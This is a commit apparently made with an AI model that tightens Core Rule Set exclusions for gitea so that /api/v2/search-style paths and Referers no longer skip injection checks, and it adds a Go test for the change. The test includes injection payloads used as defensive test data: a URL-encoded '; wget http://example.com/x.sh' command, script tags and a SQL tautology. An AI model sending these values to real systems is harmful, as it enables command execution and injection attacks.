Core Rule Set: gitea's search Referer exclusion skips /api/v2/search (closes #270)

Rule 900601 let Referer skip five rules when it named a repository's
search, issues or pull requests with the owner api, such as
/api/v2/search, Mastodon's search. A page opened from there skipped
script and SQL injection checks on Referer. gitea has no owner named
api, so a chained condition now leaves out those paths, as rule 900600
does.

Model: opus-5-5

internal/coreruleset/coreruleset_test.go

@@ -674,6 +674,36 @@ func TestOrdinaryGiteaRequestsPassAndAttacksAreRefused(t *testing.T) {
 			}
 		}
 	}
+
+	// gitea has no owner named api, so these are not a repository's search,
+	// issues or pull requests. /api/v2/search is Mastodon's search.
+	for _, path := range []string{
+		"/api/v2/search",
+		"/api/v2/issues",
+		"/api/v2/pulls",
+	} {
+		for _, attack := range []string{
+			sqlInjection,
+			scriptInjection,
+			"%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh",
+		} {
+			target := path + "?q=" + attack
+			if got := inspect(t, crs, get(target)); got.Score < threshold {
+				t.Errorf("%s let through: %+v", target, got)
+			}
+		}
+
+		// Nor is a page opened from them.
+		for _, attack := range []string{
+			"<script>alert(1)</script>",
+			"1' OR '1'='1",
+		} {
+			referer := "Referer: https://example.com" + path + "?q=" + attack
+			if got := inspect(t, crs, get("/", referer)); got.Score < threshold {
+				t.Errorf("%s let through: %+v", referer, got)
+			}
+		}
+	}
 }
 
 // WordPress's paths: signing in, posting a comment, admin-ajax.php, and the

internal/coreruleset/gitea.conf

@@ -35,41 +35,46 @@
 #   944100: java.lang.Runtime
 #   944110: java.lang.Runtime
 #   944130: java.lang.Runtime
+# gitea has no owner named api. A repository's search, issues, pull requests and
+# commit search with that owner get none of this. /api/v2/search, for example,
+# is Mastodon's search.
 SecRule REQUEST_FILENAME "@rx ^/(?:explore/code|issues(?:/search)?|pulls|\
     [^/]+/-/code|\
     [^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|\
     commits/(?:branch|tag|commit)/.+/search)|\
     api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))$" \
-    "id:900600,phase:1,pass,nolog,\
-    ctl:ruleRemoveTargetById=930110;ARGS:q,\
-    ctl:ruleRemoveTargetById=930120;ARGS:q,\
-    ctl:ruleRemoveTargetById=931100;ARGS:q,\
-    ctl:ruleRemoveTargetById=932120;ARGS:q,\
-    ctl:ruleRemoveTargetById=932130;ARGS:q,\
-    ctl:ruleRemoveTargetById=932140;ARGS:q,\
-    ctl:ruleRemoveTargetById=932160;ARGS:q,\
-    ctl:ruleRemoveTargetById=932235;ARGS:q,\
-    ctl:ruleRemoveTargetById=932250;ARGS:q,\
-    ctl:ruleRemoveTargetById=932260;ARGS:q,\
-    ctl:ruleRemoveTargetById=932380;ARGS:q,\
-    ctl:ruleRemoveTargetById=933100;ARGS:q,\
-    ctl:ruleRemoveTargetById=933130;ARGS:q,\
-    ctl:ruleRemoveTargetById=933135;ARGS:q,\
-    ctl:ruleRemoveTargetById=934100;ARGS:q,\
-    ctl:ruleRemoveTargetById=934110;ARGS:q,\
-    ctl:ruleRemoveTargetById=934130;ARGS:q,\
-    ctl:ruleRemoveTargetById=941100;ARGS:q,\
-    ctl:ruleRemoveTargetById=941110;ARGS:q,\
-    ctl:ruleRemoveTargetById=941160;ARGS:q,\
-    ctl:ruleRemoveTargetById=941180;ARGS:q,\
-    ctl:ruleRemoveTargetById=941390;ARGS:q,\
-    ctl:ruleRemoveTargetById=942100;ARGS:q,\
-    ctl:ruleRemoveTargetById=942140;ARGS:q,\
-    ctl:ruleRemoveTargetById=942190;ARGS:q,\
-    ctl:ruleRemoveTargetById=942230;ARGS:q,\
-    ctl:ruleRemoveTargetById=944100;ARGS:q,\
-    ctl:ruleRemoveTargetById=944110;ARGS:q,\
-    ctl:ruleRemoveTargetById=944130;ARGS:q"
+    "id:900600,phase:1,pass,nolog,chain"
+    SecRule REQUEST_FILENAME "!@rx ^/api/[^/]+/(?:search|issues(?:/search)?|\
+        pulls|commits/(?:branch|tag|commit)/.+/search)$" \
+        "ctl:ruleRemoveTargetById=930110;ARGS:q,\
+        ctl:ruleRemoveTargetById=930120;ARGS:q,\
+        ctl:ruleRemoveTargetById=931100;ARGS:q,\
+        ctl:ruleRemoveTargetById=932120;ARGS:q,\
+        ctl:ruleRemoveTargetById=932130;ARGS:q,\
+        ctl:ruleRemoveTargetById=932140;ARGS:q,\
+        ctl:ruleRemoveTargetById=932160;ARGS:q,\
+        ctl:ruleRemoveTargetById=932235;ARGS:q,\
+        ctl:ruleRemoveTargetById=932250;ARGS:q,\
+        ctl:ruleRemoveTargetById=932260;ARGS:q,\
+        ctl:ruleRemoveTargetById=932380;ARGS:q,\
+        ctl:ruleRemoveTargetById=933100;ARGS:q,\
+        ctl:ruleRemoveTargetById=933130;ARGS:q,\
+        ctl:ruleRemoveTargetById=933135;ARGS:q,\
+        ctl:ruleRemoveTargetById=934100;ARGS:q,\
+        ctl:ruleRemoveTargetById=934110;ARGS:q,\
+        ctl:ruleRemoveTargetById=934130;ARGS:q,\
+        ctl:ruleRemoveTargetById=941100;ARGS:q,\
+        ctl:ruleRemoveTargetById=941110;ARGS:q,\
+        ctl:ruleRemoveTargetById=941160;ARGS:q,\
+        ctl:ruleRemoveTargetById=941180;ARGS:q,\
+        ctl:ruleRemoveTargetById=941390;ARGS:q,\
+        ctl:ruleRemoveTargetById=942100;ARGS:q,\
+        ctl:ruleRemoveTargetById=942140;ARGS:q,\
+        ctl:ruleRemoveTargetById=942190;ARGS:q,\
+        ctl:ruleRemoveTargetById=942230;ARGS:q,\
+        ctl:ruleRemoveTargetById=944100;ARGS:q,\
+        ctl:ruleRemoveTargetById=944110;ARGS:q,\
+        ctl:ruleRemoveTargetById=944130;ARGS:q"
 
 # A page opened from the results of one of those searches has the search's
 # address in Referer, which skips these rules then:
@@ -78,17 +83,20 @@ SecRule REQUEST_FILENAME "@rx ^/(?:explore/code|issues(?:/search)?|pulls|\
 #   941160: <img src=
 #   942100: LIKE '%foo%'
 #   944100: java.lang.Runtime
+# A repository with the owner api is left out here too.
 SecRule REQUEST_HEADERS:Referer "@rx ^https?://[^/]+/(?:explore/code|\
     issues(?:/search)?|pulls|[^/]+/-/code|\
     [^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|\
     commits/(?:branch|tag|commit)/.+/search)|\
     api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))\?" \
-    "id:900601,phase:1,pass,nolog,\
-    ctl:ruleRemoveTargetById=941110;REQUEST_HEADERS:Referer,\
-    ctl:ruleRemoveTargetById=941120;REQUEST_HEADERS:Referer,\
-    ctl:ruleRemoveTargetById=941160;REQUEST_HEADERS:Referer,\
-    ctl:ruleRemoveTargetById=942100;REQUEST_HEADERS:Referer,\
-    ctl:ruleRemoveTargetById=944100;REQUEST_HEADERS:Referer"
+    "id:900601,phase:1,pass,nolog,chain"
+    SecRule REQUEST_HEADERS:Referer "!@rx ^https?://[^/]+/api/[^/]+/(?:search|\
+        issues(?:/search)?|pulls|commits/(?:branch|tag|commit)/.+/search)\?" \
+        "ctl:ruleRemoveTargetById=941110;REQUEST_HEADERS:Referer,\
+        ctl:ruleRemoveTargetById=941120;REQUEST_HEADERS:Referer,\
+        ctl:ruleRemoveTargetById=941160;REQUEST_HEADERS:Referer,\
+        ctl:ruleRemoveTargetById=942100;REQUEST_HEADERS:Referer,\
+        ctl:ruleRemoveTargetById=944100;REQUEST_HEADERS:Referer"
 
 # gitea's searches of repositories, users, branches, tags and packages send a
 # name in q, which skips these rules there: